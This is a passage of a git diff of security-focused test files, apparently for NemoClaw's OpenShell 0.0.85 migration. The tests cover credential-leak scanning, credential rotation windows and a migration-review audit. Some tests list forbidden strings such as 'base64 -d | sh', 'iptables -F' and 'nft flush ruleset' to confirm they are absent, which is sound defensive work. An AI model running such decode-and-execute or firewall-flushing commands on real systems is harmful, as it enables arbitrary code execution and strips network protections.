+    os.environ.update(original)
+print("supervisor-identity-boundary-ok")
+`);
+
+      expect(result.status, result.stderr).toBe(0);
+      expect(result.stdout.trim()).toBe("supervisor-identity-boundary-ok");
+    },
+  );
+
   it.runIf(process.platform === "linux")(
     "treats only the exact empty managed projection as an absent snapshot",
     () => {
diff --git a/test/mcp-add-crash-consistency.test.ts b/test/mcp-add-crash-consistency.test.ts
index e3fdb2f31e..6626f70478 100644
--- a/test/mcp-add-crash-consistency.test.ts
+++ b/test/mcp-add-crash-consistency.test.ts
@@ -8,7 +8,7 @@ import path from "node:path";
 
 import { describe, expect, it } from "vitest";
 
-const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.72");
+const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.85");
 
 type CrashBoundary =
   | "provider"
diff --git a/test/mcp-agent-matrix-artifact-proof.test.ts b/test/mcp-agent-matrix-artifact-proof.test.ts
new file mode 100644
index 0000000000..aceb03a375
--- /dev/null
+++ b/test/mcp-agent-matrix-artifact-proof.test.ts
@@ -0,0 +1,89 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+import { afterEach, describe, expect, it } from "vitest";
+
+import {
+  assertMcpAgentMatrixArtifacts,
+  REQUIRED_MCP_AGENT_TEST_IDS,
+  writeMcpAgentMatrixProof,
+} from "../tools/e2e/assert-mcp-agent-matrix-artifacts.mts";
+
+const directories: string[] = [];
+
+function fixture(): string {
+  const root = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-mcp-agent-matrix-"));
+  directories.push(root);
+  for (const id of REQUIRED_MCP_AGENT_TEST_IDS) {
+    const directory = path.join(root, id);
+    fs.mkdirSync(directory);
+    fs.writeFileSync(path.join(directory, "scenario.json"), `${JSON.stringify({ id })}\n`);
+  }
+  return root;
+}
+
+afterEach(() => {
+  for (const directory of directories.splice(0)) {
+    fs.rmSync(directory, { force: true, recursive: true });
+  }
+});
+
+describe("MCP agent matrix artifact proof", () => {
+  it("records proof only when all three agent lifecycle artifacts exist", () => {
+    const root = fixture();
+    const output = writeMcpAgentMatrixProof(root);
+
+    expect(JSON.parse(fs.readFileSync(output, "utf8"))).toEqual({
+      requiredTargetResultIds: [],
+      requiredTestIds: REQUIRED_MCP_AGENT_TEST_IDS,
+      schemaVersion: 1,
+      status: "all-required-tests-passed",
+    });
+  });
+
+  it("rejects a false-green single-agent artifact set", () => {
+    const root = fixture();
+    fs.rmSync(path.join(root, "mcp-bridge-hermes"), { recursive: true });
+
+    expect(() => assertMcpAgentMatrixArtifacts(root)).toThrow(
+      /mcp-bridge-hermes artifact directory/u,
+    );
+  });
+
+  it("rejects identity drift and symbolic-link artifacts", () => {
+    const root = fixture();
+    const scenario = path.join(root, "mcp-bridge-deepagents", "scenario.json");
+    fs.writeFileSync(scenario, '{"id":"mcp-bridge"}\n');
+    expect(() => assertMcpAgentMatrixArtifacts(root)).toThrow(/expected test identity/u);
+
+    fs.rmSync(scenario);
+    fs.symlinkSync(path.join(root, "mcp-bridge", "scenario.json"), scenario);
+    expect(() => assertMcpAgentMatrixArtifacts(root)).toThrow(/must be a regular file/u);
+  });
+
+  it("requires an explicit passed result for additional stateful targets", () => {
+    const root = fixture();
+    const targetId = "openshell-credential-generation-window";
+    const targetDirectory = path.join(root, targetId);
+    fs.mkdirSync(targetDirectory);
+    fs.writeFileSync(
+      path.join(targetDirectory, "target-result.json"),
+      `${JSON.stringify({ id: targetId, status: "passed" })}\n`,
+    );
+
+    expect(assertMcpAgentMatrixArtifacts(root, [targetId]).requiredTargetResultIds).toEqual([
+      targetId,
+    ]);
+    fs.writeFileSync(
+      path.join(targetDirectory, "target-result.json"),
+      `${JSON.stringify({ id: targetId, status: "skipped" })}\n`,
+    );
+    expect(() => assertMcpAgentMatrixArtifacts(root, [targetId])).toThrow(
+      /does not prove a passed lifecycle/u,
+    );
+  });
+});
diff --git a/test/mcp-artifact-secret-scan.test.ts b/test/mcp-artifact-secret-scan.test.ts
index 0825e607cd..e9371b1ffe 100644
--- a/test/mcp-artifact-secret-scan.test.ts
+++ b/test/mcp-artifact-secret-scan.test.ts
@@ -28,7 +28,10 @@ describe("MCP artifact credential scan", () => {
     fs.mkdirSync(path.join(root, "nested"));
     fs.writeFileSync(path.join(root, "nested", "result.json"), '{"status":"clean"}\n');
 
-    expect(scanMcpArtifactSecrets(root)).toEqual({ filesScanned: 1, leaks: [] });
+    expect(scanMcpArtifactSecrets(root)).toEqual({
+      filesScanned: 1,
+      leaks: [],
+    });
     expect(scanMcpArtifactSecrets(path.join(root, "missing"))).toEqual({
       filesScanned: 0,
       leaks: [],
@@ -70,6 +73,20 @@ describe("MCP artifact credential scan", () => {
     });
   });
 
+  it("finds every generated credential-window value through its shared prefix", () => {
+    const root = artifactRoot();
+    fs.writeFileSync(
+      path.join(root, "generation.txt"),
+      `${MCP_BRIDGE_TEST_CREDENTIALS.generationWindow}09`,
+    );
+
+    expect(scanMcpArtifactSecrets(root).leaks).toContainEqual({
+      credential: "generationWindow",
+      encoding: "raw",
+      file: "generation.txt",
+    });
+  });
+
   it("fails closed on symbolic links inside the upload tree", () => {
     const root = artifactRoot();
     const outside = path.join(artifactRoot(), "outside");
diff --git a/test/mcp-destroy-lifecycle.test.ts b/test/mcp-destroy-lifecycle.test.ts
index 7f8cc1492e..9372ab2028 100644
--- a/test/mcp-destroy-lifecycle.test.ts
+++ b/test/mcp-destroy-lifecycle.test.ts
@@ -64,7 +64,7 @@ vi.mock("../src/lib/actions/sandbox/process-recovery", () => ({
 import * as bridge from "../src/lib/actions/sandbox/mcp-bridge";
 import * as registry from "../src/lib/state/registry";
 
-const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.72");
+const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.85");
 
 const bridgeEntries: Record<"github" | "slack", McpBridgeEntry> = {
   github: {
diff --git a/test/mcp-openshell-workflow.test.ts b/test/mcp-openshell-workflow.test.ts
index 0f2bea654d..9d4278a623 100644
--- a/test/mcp-openshell-workflow.test.ts
+++ b/test/mcp-openshell-workflow.test.ts
@@ -5,7 +5,7 @@ import fs from "node:fs";
 
 import { describe, expect, it } from "vitest";
 
-import credentialBoundaryManifest from "../src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.72.json";
+import credentialBoundaryManifest from "../src/lib/actions/sandbox/openshell-child-visible-credentials.v0.0.85.json";
 import { validateMcpOpenShellWorkflowBoundary } from "../tools/e2e/mcp-workflow-boundary.mts";
 
 describe("MCP OpenShell workflow boundary", () => {
@@ -14,7 +14,7 @@ describe("MCP OpenShell workflow boundary", () => {
     const setupDocs = fs.readFileSync("docs/deployment/set-up-mcp-bridge.mdx", "utf8");
 
     expect(setupDocs).toContain(
-      `NemoClaw v0.0.74 defaults to the pinned stable OpenShell \`${credentialBoundaryManifest.openshellVersion}\` release`,
+      `Current NemoClaw builds default to the pinned stable OpenShell \`${credentialBoundaryManifest.openshellVersion}\` release`,
     );
     expect(setupDocs).toContain(
       "The optional OpenShell development channel is compatibility evidence only and is not a shipping target.",
diff --git a/test/mcp-policy-key-ownership.test.ts b/test/mcp-policy-key-ownership.test.ts
index aef859677f..4d137852ef 100644
--- a/test/mcp-policy-key-ownership.test.ts
+++ b/test/mcp-policy-key-ownership.test.ts
@@ -8,8 +8,8 @@ import path from "node:path";
 
 import { describe, expect, it } from "vitest";
 
-const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.72");
-const MATCHING_OPENSHELL_VERSION_CLAUSE = `if [ "$1" = "--version" ]; then printf '%s\\n' 'openshell 0.0.72'; exit 0; fi`;
+const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.85");
+const MATCHING_OPENSHELL_VERSION_CLAUSE = `if [ "$1" = "--version" ]; then printf '%s\\n' 'openshell 0.0.85'; exit 0; fi`;
 
 const PRESET = `network_policies:
   example:
diff --git a/test/mcp-restart-policy-order.test.ts b/test/mcp-restart-policy-order.test.ts
index 78dea8030e..a348477652 100644
--- a/test/mcp-restart-policy-order.test.ts
+++ b/test/mcp-restart-policy-order.test.ts
@@ -8,7 +8,7 @@ import path from "node:path";
 
 import { describe, expect, it } from "vitest";
 
-const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.72");
+const MATCHING_OPENSHELL = path.resolve("test/fixtures/openshell-v0.0.85");
 
 describe("MCP restart policy ordering", () => {
   it("rejects a foreign attached credential key before policy or provider mutation", () => {
diff --git a/test/onboard-gateway-port-conflict-fast-fail.test.ts b/test/onboard-gateway-port-conflict-fast-fail.test.ts
index f8d04a34ad..525e3fcb47 100644
--- a/test/onboard-gateway-port-conflict-fast-fail.test.ts
+++ b/test/onboard-gateway-port-conflict-fast-fail.test.ts
@@ -31,7 +31,7 @@ describe("onboard gateway port conflict fast-fail (#6752)", () => {
           "# openshell capabilities: request-body-credential-rewrite websocket-credential-rewrite allow_all_known_mcp_methods",
           `printf '%s\\n' "$*" >> ${JSON.stringify(openshellCallLog)}`,
           'case "$*" in',
-          '  --version|-V) printf "%s 0.0.72\\n" "${0##*/}"; exit 0;;',
+          '  --version|-V) printf "%s 0.0.85\\n" "${0##*/}"; exit 0;;',
           '  status|"gateway info"|"gateway info -g nemoclaw"*) sleep 20; exit 0;;',
           "esac",
           "exit 1",
diff --git a/test/openshell-0.0.85-migration-review.test.ts b/test/openshell-0.0.85-migration-review.test.ts
new file mode 100644
index 0000000000..73e2fa9416
--- /dev/null
+++ b/test/openshell-0.0.85-migration-review.test.ts
@@ -0,0 +1,375 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs";
+import path from "node:path";
+import { describe, expect, it } from "vitest";
+
+const repoRoot = path.resolve(import.meta.dirname, "..");
+const review = fs.readFileSync(
+  path.join(repoRoot, "docs", "security", "openshell-0.0.85-migration-review.md"),
+  "utf8",
+);
+
+const adjacentRanges = [
+  { from: "v0.0.72", to: "v0.0.73", commits: 5, paths: 27 },
+  { from: "v0.0.73", to: "v0.0.74", commits: 6, paths: 25 },
+  { from: "v0.0.74", to: "v0.0.75", commits: 2, paths: 26 },
+  { from: "v0.0.75", to: "v0.0.76", commits: 3, paths: 28 },
+  { from: "v0.0.76", to: "v0.0.77", commits: 3, paths: 7 },
+  { from: "v0.0.77", to: "v0.0.78", commits: 6, paths: 23 },
+  { from: "v0.0.78", to: "v0.0.79", commits: 1, paths: 1 },
+  { from: "v0.0.79", to: "v0.0.80", commits: 5, paths: 15 },
+  { from: "v0.0.80", to: "v0.0.81", commits: 4, paths: 9 },
+  { from: "v0.0.81", to: "v0.0.82", commits: 12, paths: 76 },
+  { from: "v0.0.82", to: "v0.0.83", commits: 8, paths: 20 },
+  { from: "v0.0.83", to: "v0.0.84", commits: 7, paths: 110 },
+  { from: "v0.0.84", to: "v0.0.85", commits: 5, paths: 29 },
+] as const;
+
+const auditedCommits = [
+  "afc06dd2",
+  "a5161d0b",
+  "a2268060",
+  "f27ff150",
+  "474d2d4a",
+  "ed0026aa",
+  "0a25fdf5",
+  "5477e2f2",
+  "914da339",
+  "450685c7",
+  "45614a3f",
+  "abcd15d1",
+  "45060f44",
+  "43bb0302",
+  "5f9bf9ce",
+  "6461677c",
+  "f852d07b",
+  "6252aa17",
+  "31807d68",
+  "5656240c",
+  "290297ff",
+  "9c14de7b",
+  "eba5dd75",
+  "abe42fb5",
+  "a7271169",
+  "f7aa3aa3",
+  "2e2b497f",
+  "ed8ce820",
+  "5207f118",
+  "ff9af8e3",
+  "709aa0fe",
+  "83131d7e",
+  "88710225",
+  "49701088",
+  "420a855d",
+  "5f38b7c4",
+  "ccdac9ce",
+  "caaa5165",
+  "8c0ecac8",
+  "233d207e",
+  "10702133",
+  "bebf440b",
+  "8eacb477",
+  "614c8c16",
+  "40194f93",
+  "bb72d012",
+  "94cdd697",
+  "88f2656f",
+  "0fe24a4c",
+  "9ad53b3f",
+  "4e1ffef8",
+  "fcc9db30",
+  "ee9b4551",
+  "df062867",
+  "e3d26dd3",
+  "97e10513",
+  "a41cd125",
+  "96fd31fc",
+  "e8c16eb1",
+  "994750e3",
+  "83003e80",
+  "e6f319c7",
+  "80293213",
+  "392ad639",
+  "b4be33e5",
+  "21aaa895",
+  "3dee5570",
+] as const;
+
+describe("OpenShell 0.0.85 migration review", () => {
+  it("records every adjacent release range and all 67 audited commits", () => {
+    expect(adjacentRanges.reduce((total, range) => total + range.commits, 0)).toBe(67);
+    for (const range of adjacentRanges) {
+      expect(review).toContain(
+        `| \`${range.from} -> ${range.to}\` | ${range.commits} | ${range.paths} |`,
+      );
+    }
+    for (const commit of auditedCommits) {
+      expect(review, `missing audited OpenShell commit ${commit}`).toContain(commit);
+    }
+    expect(review).toContain("283 distinct changed paths");
+  });
+
+  it("keeps source ancestry, release publication, and artifact provenance as separate gates", () => {
+    expect(review).toContain("published stable tag `v0.0.85` at verified commit");
+    expect(review).toContain("v0.0.81` is a source tag");
+    expect(review).toContain("it has no GitHub release");
+    expect(review).toContain("failed the Ubuntu 26.04 rootless-Podman E2E job");
+    expect(review).toContain("v0.0.84` is a verified source tag");
+    expect(review).toContain("failed the Linux arm64 snap build");
+    expect(review).toContain("no verifiable source-to-image attestation");
+    expect(review).toContain("reject archive traversal, links, devices, duplicates");
+    expect(review).toContain("29507522595");
+    expect(review).toContain(
+      "sha256:f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9",
+    );
+    expect(review).toContain("SLSA-bound release archives");
+    expect(review).toContain("222d9d53a142691d7a7de2c692f38e52d24066f9f633d53746c5fef775861bc8");
+    expect(review).toContain("33bb479d936c3c1b17dd475df05747be9de74564fb67d69a4c33cdd01181d02f");
+  });
+
+  it("records exact development identities without treating them as a stable release", () => {
+    expect(review).toContain("0.0.82-dev.11+gbb72d012");
+    expect(review).toContain("0.0.82-dev.11+gbb72d0123");
+    expect(review).toContain("0.0.82.dev11+gbb72d0123");
+    expect(review).toContain("8266446648");
+    expect(review).toContain("8266452366");
+    expect(review).toContain("8266435047");
+    expect(review).toContain(
+      "sha256:fc441051102b1a16ffcabf59878fa464d3c548f29bfbfa6e4acb232ab67198b7",
+    );
+    expect(review).toContain("8266448422");
+    expect(review).toContain("8266451406");
+    expect(review).toContain("attestationStatus: absent");
+    expect(review).toContain("stable release was audited anew");
+  });
+
+  it("tracks every material migration concern and refuses false-green evidence", () => {
+    for (let number = 1; number <= 17; number += 1) {
+      const id = `OS85-${String(number).padStart(2, "0")}`;
+      expect(review.split(`| \`${id}\` |`), `${id} concern row`).toHaveLength(2);
+    }
+    expect(review).toContain("An unresolved critical or high concern blocks");
+    expect(review).toContain("full managed MCP lifecycle");
+    expect(review).toContain("without a conditional skip or expected failure");
+    expect(review).toContain("executes its checker and parser from the PR base SHA");
+    expect(review).toContain(
+      "using the head checker would let reviewed code define its own trust rules",
+    );
+    expect(review).toMatch(/sequence of nine\s+distinct rotation updates/u);
+    expect(review).toContain("expired_retained_generation_does_not_resolve");
+    expect(review).toContain("--credential-expires-at");
+    expect(review).toMatch(/removes that key while\s+the provider remains attached/u);
+  });
+
+  it("keeps exact-main runtime proofs separate from upstream-only fault injection", () => {
+    expect(review).toContain("This boundary deliberately does not fake fault injection");
+    expect(review).toContain("fails only `report_policy_status`");
+    expect(review).toMatch(/no downstream control\s+between individual required nft commands/u);
+    expect(review).toContain("policy-accept output chain");
+    expect(review).toContain("exactly one IPv4/IPv6 TCP/UDP port-unreachable reject each");
+    expect(review).toMatch(/old process to remain\s+allowed before and after replacement/u);
+    expect(review).toMatch(/new altered process at the\s+same path receives HTTP 403/u);
+    expect(review).toMatch(/Argument and result\s+canaries/u);
+    expect(review).toMatch(/No OpenShell repository mutation is part of this\s+NemoClaw work/u);
+
+    const helper = fs.readFileSync(
+      path.join(repoRoot, "test", "e2e", "live", "openshell-exact-main-runtime-contracts.ts"),
+      "utf8",
+    );
+    expect(helper).toContain('chain.policy !== "accept"');
+    expect(helper).toContain("expected exactly one ${family} ${protocol} reject rule");
+    expect(helper).toContain("DIRECT_BYPASS_PROBE_CODE");
+    expect(helper).toContain('sha256sum \\"/proc/$old_pid/exe\\"');
+    expect(helper).toContain('[ "$new_status" = 403 ]');
+    expect(helper).toContain("line.includes(`tools=${options.expectedTool}`)");
+    expect(helper).toContain("not.toMatch(/\\barguments\\b[\"']?\\s*[:=]/iu)");
+    expect(helper).not.toContain("iptables -F");
+    expect(helper).not.toContain("nft flush ruleset");
+
+    const mcpProof = fs.readFileSync(
+      path.join(repoRoot, "test", "e2e", "live", "openshell-exact-main-mcp-proof.ts"),
+      "utf8",
+    );
+    expect(mcpProof).toContain("assertExactMainPolicyNftAndIdentityContracts({");
+    expect(mcpProof).toContain("assertExactMainMcpLogPrivacy({");
+    expect(review).toContain("capctl 0.2.4");
+    expect(review).toContain("4a6e71767585f51c2a33fed6d67147ec0343725fc3c03bf4b89fe67fede56aa5");
+    expect(review).toContain("prost-reflect 0.16.5");
+    expect(review).toContain("01b80ea363c31af2de2b92e3c07ed1156628f7838c4afb4df75ee78a37fedbd1");
+    expect(review).toContain("tomli 2.4.1");
+    expect(review).toContain("7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f");
+    expect(review).toContain("THIRD-PARTY-NOTICES");
+    expect(review).toMatch(/byte-identical between `v0\.0\.82`\s+and `v0\.0\.85`/u);
+    expect(review).toContain("Alpine `3.22.5`");
+    expect(review).toContain("29 installed APK records");
+    expect(review).toContain("executes only the extracted binary");
+    expect(review).toContain("cache identity omits resolved `sandbox_uid`");
+  });
+
+  it("binds selected-driver and tmpfs claims to the stable release runtime", () => {
+    expect(review).toContain("Stable release selected-driver and mount proof boundary");
+    expect(review).toContain("actual mode-0600");
+    expect(review).toMatch(/no unselected\s+driver table/u);
+    expect(review).toContain("must not appear in `HostConfig.Binds`");
+    expect(review).toMatch(/fresh tmpfs\s+mount/u);
+    expect(review).toContain("existing stable gateway-upgrade test");
+    expect(review).toContain("cannot be cited as fresh-release identity evidence");
+    expect(review).toContain("enforcing-SELinux host");
+
+    const helper = fs.readFileSync(
+      path.join(repoRoot, "test/e2e/live/openshell-exact-main-driver-config.ts"),
+      "utf8",
+    );
+    expect(helper).toContain("parse as parseToml");
+    expect(helper).toContain('expect(gateway.compute_drivers).toEqual(["docker"])');
+    expect(helper).toContain("Object.keys(drivers)");
+    expect(helper).toContain("fs.realpathSync(`/proc/${gatewayPid}/exe`)");
+    expect(helper).toContain('["-H", "-ltnp"]');
+    expect(helper).toContain('"{{json .HostConfig.Binds}}"');
+    expect(helper).toContain('tmpfsMarker: "present"');
+    expect(helper).toContain('tmpfsMarker: "absent"');
+
+    const mcpProof = fs.readFileSync(
+      path.join(repoRoot, "test/e2e/live/openshell-exact-main-mcp-proof.ts"),
+      "utf8",
+    );
+    expect(mcpProof).toContain("prepareExactMainDriverConfigProof(");
+    expect(mcpProof).toContain("driverConfig.assertAfterOnboard()");
+    expect(mcpProof).toContain("driverConfig.assertAfterRebuild()");
+  });
+
+  it("binds stable selectors while keeping the physical Spark proof separate", () => {
+    const blueprint = fs.readFileSync(
+      path.join(repoRoot, "nemoclaw-blueprint", "blueprint.yaml"),
+      "utf8",
+    );
+    const manifest = JSON.parse(
+      fs.readFileSync(
+        path.join(
+          repoRoot,
+          "src",
+          "lib",
+          "actions",
+          "sandbox",
+          "openshell-child-visible-credentials.v0.0.85.json",
+        ),
+        "utf8",
+      ),
+    ) as { openshellVersion: string };
+
+    expect(blueprint).toContain('min_openshell_version: "0.0.85"');
+    expect(blueprint).toContain('max_openshell_version: "0.0.85"');
+    expect(manifest.openshellVersion).toBe("0.0.85");
+    expect(review).toContain("binds NemoClaw's `0.0.85` selectors");
+    expect(review).toContain("physical Docker 27 DGX Spark");
+    expect(review).toContain("loopback first-byte test");
+    expect(review).not.toContain("did not add a true connection-level test");
+    expect(review).toContain("Inclusion of `40194f93` alone cannot close");
+  });
+
+  it("does not reintroduce newline-only code transports at migrated consumers", () => {
+    expect(review).toContain("The newline migration was audited beyond the public `exec` guard");
+    expect(review).toContain("32 KiB per-argument ceiling");
+    expect(review).toContain("owned secret-boundary exception");
+
+    const migratedConsumers = [
+      ["test/e2e/live/brave-search-helpers.ts", ["singleLineShell", "base64 -d"]],
+      ["test/e2e/live/network-policy.test.ts", ["shellEvalArg", "nemoclaw-web-fetch-e2e.mjs"]],
+      ["test/e2e/live/bedrock-runtime-compatible-anthropic.test.ts", ["base64 -d | sh"]],
+      ["test/e2e/live/kimi-inference-compat-helpers.ts", ["base64 -d", 'toString("base64")']],
+      ["test/e2e/live/rebuild-openclaw.test.ts", ["b64decode", 'toString("base64")']],
+      [
+        "test/e2e/live/messaging-compatible-endpoint.test.ts",
+        ["nodeEvalArg", 'toString("base64")'],
+      ],
+      ["test/e2e/live/cron-preflight-inference-local.test.ts", ["probeShell", "base64 -d"]],
+      ["test/e2e/live/openclaw-inference-switch.test.ts", ["singleLineSandboxShellScript"]],
+      ["test/e2e/live/openclaw-skill-cli.test.ts", ["singleLineSandboxScript"]],
+      ["test/e2e/live/phase6-messaging-helpers.ts", ["sandboxEncodedSh", "base64(script)"]],
+      [
+        "test/e2e/live/gateway-guard-recovery.test.ts",
+        ["SUPERVISOR_TOPOLOGY_COMMAND", "b64decode"],
+      ],
+      [
+        "test/e2e/live/openclaw-plugin-runtime-exdev.test.ts",
+        ["data:text/javascript;base64", "nemoclaw-exdev-guard.sh"],
+      ],
+      [
+        "test/e2e/live/mcp-bridge.test.ts",
+        ["mcpCallScriptB64", "nemoclaw-mcp-provider-rewrite-proof.cjs"],
+      ],
+      [
+        "src/lib/actions/sandbox/sessions/gateway-rpc.ts",
+        ["GATEWAY_ADMIN_RPC_LOADER", "GATEWAY_ADMIN_RPC_SCRIPT_B64"],
+      ],
+      [
+        "test/e2e/e2e-cloud-experimental/checks/03-deepagents-code-nemotron-ultra-profile.sh",
+        ["encode_source", "base64 -d"],
+      ],
+      [
+        "test/e2e/e2e-cloud-experimental/checks/04-deepagents-code-fresh-reonboard.sh",
+        ["encode_source", "base64 -d"],
+      ],
+      ["test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh", ["base64 -d"]],
+      ["test/e2e/e2e-cloud-experimental/checks/09-deepagents-code-tavily-opt-in.sh", ["base64 -d"]],
+      [
+        "test/e2e/e2e-cloud-experimental/checks/11-deepagents-code-observability.sh",
+        ["b64decode", "base64 | tr -d"],
+      ],
+    ] as const;
+
+    for (const [relativePath, forbidden] of migratedConsumers) {
+      const source = fs.readFileSync(path.join(repoRoot, relativePath), "utf8");
+      for (const obsoleteTransport of forbidden) {
+        expect(source, `${relativePath} still contains ${obsoleteTransport}`).not.toContain(
+          obsoleteTransport,
+        );
+      }
+    }
+
+    const phase6 = fs.readFileSync(
+      path.join(repoRoot, "test/e2e/live/phase6-messaging-helpers.ts"),
+      "utf8",
+    );
+    expect(phase6).toContain('["sh", "-c", script, "nemoclaw-e2e-script", ...args]');
+
+    const pythonEgress = fs.readFileSync(
+      path.join(
+        repoRoot,
+        "test/e2e/e2e-cloud-experimental/checks/06-deepagents-code-python-egress.sh",
+      ),
+      "utf8",
+    );
+    expect(pythonEgress).toContain('"$python_bin" -c "$source" "$url"');
+    expect(pythonEgress).toContain("NATIVE_MULTILINE_ARGV");
+  });
+
+  it("treats OpenShell TLS identity as supervisor-only in every managed agent", () => {
+    const hermesBoundary = fs.readFileSync(
+      path.join(repoRoot, "agents", "hermes", "validate-env-secret-boundary.py"),
+      "utf8",
+    );
+    const dcodeWrapper = fs.readFileSync(
+      path.join(repoRoot, "agents", "langchain-deepagents-code", "dcode-wrapper.sh"),
+      "utf8",
+    );
+    const dcodeRuntime = fs.readFileSync(
+      path.join(repoRoot, "agents", "langchain-deepagents-code", "managed-dcode-runtime.py"),
+      "utf8",
+    );
+    const boundaries = [hermesBoundary, dcodeWrapper, dcodeRuntime];
+
+    for (const name of ["OPENSHELL_TLS_CA", "OPENSHELL_TLS_CERT", "OPENSHELL_TLS_KEY"]) {
+      expect(
+        boundaries.every((source) => source.includes(name)),
+        name,
+      ).toBe(true);
+    }
+    expect(hermesBoundary).not.toContain("RUNTIME_ALLOWED_PLATFORM_PATH_VALUES");
+    expect(dcodeWrapper).not.toContain("is_allowed_openshell_runtime_value");
+    expect(dcodeRuntime).not.toContain("/etc/openshell/tls/client/tls.key");
+    expect(review).toContain("Hermes and Deep Agents now reject all three variables");
+  });
+});
diff --git a/test/openshell-channel-workflow.test.ts b/test/openshell-channel-workflow.test.ts
index 8b4b6a7e0f..44c2fda488 100644
--- a/test/openshell-channel-workflow.test.ts
+++ b/test/openshell-channel-workflow.test.ts
@@ -63,8 +63,8 @@ function runLaunchableDevGate() {
 describe("OpenShell channel workflow boundary", () => {
   it.each([
     { channel: "dev", expected: "dev" },
-    { channel: "stable", expected: "v0.0.72" },
-    { channel: "auto", expected: "v0.0.72" },
+    { channel: "stable", expected: "v0.0.85" },
+    { channel: "auto", expected: "v0.0.85" },
     { channel: "dev", explicit: "v9.9.9", expected: "v9.9.9" },
   ])("resolves launchable channel $channel to $expected", ({ channel, explicit, expected }) => {
     const result = resolveLaunchableVersion({ channel, explicit });
diff --git a/test/openshell-credential-generation-window.test.ts b/test/openshell-credential-generation-window.test.ts
new file mode 100644
index 0000000000..849cbdddd7
--- /dev/null
+++ b/test/openshell-credential-generation-window.test.ts
@@ -0,0 +1,112 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+import fs from "node:fs";
+
+import { describe, expect, it } from "vitest";
+
+import { MCP_BRIDGE_TEST_CREDENTIALS } from "./e2e/fixtures/mcp-bridge-credentials.ts";
+import {
+  buildCredentialWindowChildScript,
+  buildCredentialWindowOneShotScript,
+  buildCredentialWindowProviderUpdateArgs,
+  CREDENTIAL_WINDOW_ENV_NAME,
+  CREDENTIAL_WINDOW_EXPIRY_DELAY_MS,
+  CREDENTIAL_WINDOW_PATHS,
+  CREDENTIAL_WINDOW_ROTATION_COUNT,
+  CREDENTIAL_WINDOW_STEPS,
+  credentialWindowRequestId,
+  credentialWindowSecrets,
+  OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS,
+} from "./e2e/live/openshell-credential-generation-window.ts";
+
+describe("OpenShell exact-main credential generation-window proof", () => {
+  it("crosses the complete upstream retention window with unique scannable values", () => {
+    const secrets = credentialWindowSecrets();
+
+    expect(CREDENTIAL_WINDOW_ROTATION_COUNT).toBe(OPENSHELL_RETAINED_CREDENTIAL_GENERATIONS + 1);
+    expect(secrets).toHaveLength(CREDENTIAL_WINDOW_ROTATION_COUNT + 3);
+    expect(new Set(secrets).size).toBe(secrets.length);
+    expect(
+      secrets.every((secret) => secret.startsWith(MCP_BRIDGE_TEST_CREDENTIALS.generationWindow)),
+    ).toBe(true);
+  });
+
+  it("keeps the old child on one revision while resolving each request at proxy time", () => {
+    const script = buildCredentialWindowChildScript({
+      mcpUrl: "https://credential-window.example.test/mcp",
+      maxRuntimeMs: 12_345,
+    });
+    const snapshot = "const credentialPlaceholder = process.env[config.envName]";
+
+    expect(script.split(snapshot)).toHaveLength(2);
+    expect(script.indexOf(snapshot)).toBeLessThan(script.indexOf("while (Date.now() < deadline"));
+    expect(script).toContain('"^openshell:resolve:env:(v[0-9]{1,20})_" + config.envName + "$"');
+    expect(script).toContain('authorization: "Bearer " + credentialPlaceholder');
+    expect(script).toContain('response.statusCode === 200 ? "allowed" : "denied"');
+    expect(script).toContain('outbound.on("error", () => resolve("denied"))');
+    expect(script).toContain("outbound.setTimeout(30_000");
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_PATHS.acknowledgement));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.allowedBeforeExpiry));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.deniedAfterExpiry));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.fallbackAfterEviction));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.deniedAfterKeyRemoval));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.deniedAfterDetach));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.fallbackAfterRestart));
+    expect(script).toContain(JSON.stringify(CREDENTIAL_WINDOW_STEPS.stop));
+    expect(script).not.toContain(MCP_BRIDGE_TEST_CREDENTIALS.generationWindow);
+  });
+
+  it("builds explicit bounded expiry and attached-key-removal updates", () => {
+    expect(CREDENTIAL_WINDOW_EXPIRY_DELAY_MS).toBe(3 * 60_000);
+    expect(buildCredentialWindowProviderUpdateArgs("owned-provider", 123_456)).toEqual([
+      "provider",
+      "update",
+      "owned-provider",
+      "--credential",
+      "FAKE_MCP_SECRET",
+      "--credential-expires-at",
+      "FAKE_MCP_SECRET=123456",
+    ]);
+    expect(buildCredentialWindowProviderUpdateArgs("owned-provider", 0, true)).toEqual([
+      "provider",
+      "update",
+      "owned-provider",
+      "--credential",
+      "FAKE_MCP_SECRET=",
+      "--credential-expires-at",
+      "FAKE_MCP_SECRET=0",
+    ]);
+  });
+
+  it("keeps fresh-exec requests revision-scoped and independently identifiable", () => {
+    const script = buildCredentialWindowOneShotScript();
+
